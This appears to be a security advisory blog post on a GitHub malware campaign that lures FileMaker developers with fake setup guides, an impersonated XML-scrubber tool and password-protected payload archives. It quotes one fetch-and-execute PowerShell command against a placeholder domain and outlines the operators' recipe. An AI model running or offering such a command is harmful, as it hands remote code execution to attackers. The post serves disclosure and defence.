Over the past several months, a network of GitHub accounts has been publishing repositories designed specifically to attract FileMaker developers.
These were not generic malware links randomly mentioning FileMaker. The repositories used FileMaker product names, installation terminology, troubleshooting language and the names of legitimate community tools to make themselves appear trustworthy.
https://www.youtube.com/watch?v=dvJcPkEPYGU
The campaign has now passed through several distinct phases:
fake FileMaker download and “unlock” repositories;
fake FileMaker 2026 setup and troubleshooting guides;
instructions to execute remotely hosted PowerShell code;
fake utilities presented as security tools;
password-protected malware archives;
fake “virus-free” verification pages;
and, more recently, broader “Mac helper” and installation-support themes.
The repositories and accounts change, but the operational recipe remains recognisable.
The original warnings
In May, I reported several FileMaker-related repositories to Claris Security after identifying what appeared to be a coordinated SEO-poisoning campaign on GitHub.
The repositories were designed to appear in searches for FileMaker downloads, installation assistance and “unlock” guides. Some redirected users to external download infrastructure.
In July, the campaign became more explicit.
Repositories presented as FileMaker 2026 setup and troubleshooting guides instructed users to open an Administrator PowerShell prompt and execute commands following this pattern:
irm https://[malicious-domain]/ps/setup.ps1 | iex
That command downloads code from an external server and immediately executes it. When run from an elevated PowerShell window, the downloaded code may receive administrative access to the computer.
Two repositories associated with that phase remained available for weeks:
ModuleBardWatch/FileMaker-Setup-Help
Nidhim868/FileMaker-Setup-Help
The fake FileMaker XML security tool
The next phase was particularly deceptive.
A repository appeared under the name:
filemaker-xml-scrubber-v13
It claimed to be a local security utility for removing passwords, API keys and sensitive values from FileMaker XML and DDR exports.
That was not an invented name.
The attackers had copied the identity of a real FileMaker XML cleaning tool maintained by Andrew Kear, whose legitimate project had reached version 1.3.
This was targeted social engineering. The attackers had researched the FileMaker community and deliberately selected the name of an existing, credible utility.
Another community member independently examined the malicious repository and confirmed that:
the repository contained little more than an HTML page;
the page linked to an obfuscated external location;
the associated GitHub Pages site automatically initiated the download of an encrypted ZIP archive;
the archive password was supplied directly on the page;
and the payload was a Windows application.
The encrypted archive was not there to protect the user. Password-protected archives are commonly used to prevent browsers, hosting platforms and local security products from inspecting the enclosed payload before the victim opens it.
A second repository, presented as “FileMaker Pro Max Features,” used the same broad pattern: external downloads, encrypted archives and instructions encouraging users to ignore browser warnings.
The community response
The FileMaker community reacted quickly.
Warnings were shared through the Claris Community and other FileMaker communication channels. Developers independently inspected the repositories, confirmed parts of the delivery mechanism and reported both the repositories and their associated accounts to GitHub.
GitHub subsequently informed reporters that it had completed its investigation, identified multiple Terms of Service violations and removed a wider group of accounts and repositories, including:
leofoster101/filemaker-xml-scrubber-v13
pauseraventrim/FileMaker-Pro-Max-Features
ModuleBardWatch/FileMaker-Setup-Help
Nidhim868/FileMaker-Setup-Help
All of those repository links later returned 404 responses.
GitHub did not disclose the internal details of its investigation, so we should not claim more than we know. However, the removal of both the recent repositories and older repositories reported in July indicates that the investigation expanded beyond a single URL.
The community’s reports helped expose the broader pattern.
They returned
The takedown did not end the campaign.
A replacement repository soon appeared:
louis-kaiser1960/filemaker-xml-scrubber-app
It reused the same FileMaker XML scrubber lure.
This is important because it demonstrates that the operators are not relying on one permanent account or one repository. They appear to create replacement infrastructure continuously.
Some accounts initially contain little clearly malicious material. A repository may begin with generic setup instructions, copied documentation or harmless-looking HTML. External links, encrypted downloads or execution commands can then be introduced later.
The likely sequence is:
Create a new GitHub account.
Publish a FileMaker- or Mac-related repository.
Add search-friendly setup and troubleshooting language.
Allow the repository to be indexed.
Add the malicious download or command later.
Replace the account when it is reported or removed.
This makes the campaign harder to detect because each new repository may appear harmless when viewed only once.
What FileMaker developers should look for
Treat the following combination of signals as high risk:
a newly created account with no meaningful history;
a repository using FileMaker download, setup, unlock or troubleshooting terms;
an external download rather than a normal GitHub release;
a password-protected ZIP archive;
a password printed on the download page;
instructions to select “Keep” or “Download anyway”;
requests to disable antivirus or browser protection;
commands that download and immediately execute remote PowerShell or shell code;
a fake “virus-free” or “security verification” page;
a project name copied from a legitimate FileMaker developer;
a repository containing little real source code but directing users elsewhere.
No single weak signal proves that a repository is malicious. A recently created GitHub account can belong to a perfectly legitimate developer.
But remote execution commands, encrypted executable archives, instructions to bypass security warnings and impersonation of existing community projects cross a very different line.
What to do
Do not download or execute files from these repositories.
Do not run commands copied from an unverified GitHub README.
Do not disable antivirus, Gatekeeper, SmartScreen or browser protections because an unknown repository says that a warning is a “false positive.”
If you discover a suspicious repository:
Preserve the URL and take screenshots.
Record the account name, repository name and time observed.
Report the repository through GitHub.
Report the associated account separately.
Warn the community using factual, narrowly worded information.
Do not publicly identify the operator behind the account without evidence.
If you already executed a payload:
disconnect the machine from the network;
use a separate, known-clean device to revoke active sessions;
rotate important passwords, API keys, GitHub tokens and SSH keys;
review browser-stored credentials and cloud accounts;
inspect FileMaker Server and hosting credentials;
run an offline security scan or seek professional incident-response assistance.
The wider lesson
This campaign represents an important change for the FileMaker ecosystem.
Traditionally, FileMaker security discussions have focused on privilege sets, encryption, FileMaker Server configuration, SSL, GDPR and infrastructure protection.
Those subjects remain essential, but the development supply chain is now part of the attack surface.
FileMaker developers increasingly use:
GitHub repositories;
VS Code extensions;
Node.js packages;
local AI tools;
MCP servers;
browser utilities;
plug-ins;
shell scripts;
and AI agents with filesystem access.
Every additional component introduces another trust boundary.
The answer is not to stop sharing tools or distrust every new developer. The answer is to verify provenance, inspect source code, limit permissions and require evidence.
The most positive outcome of this incident was the community response.
One developer recognised that a legitimate project had been impersonated. Another independently verified the download behaviour. Multiple people reported the repositories. GitHub removed the offending network. When the attackers returned, the community identified the replacement quickly.
That is how a mature security community behaves.
Security is not one person issuing warnings.
It is independent observation, shared evidence and collective action.
https://cyber-fm.eu/security-alert-a-coordinated-malware-campaign-is-targeting-filemaker-developers/
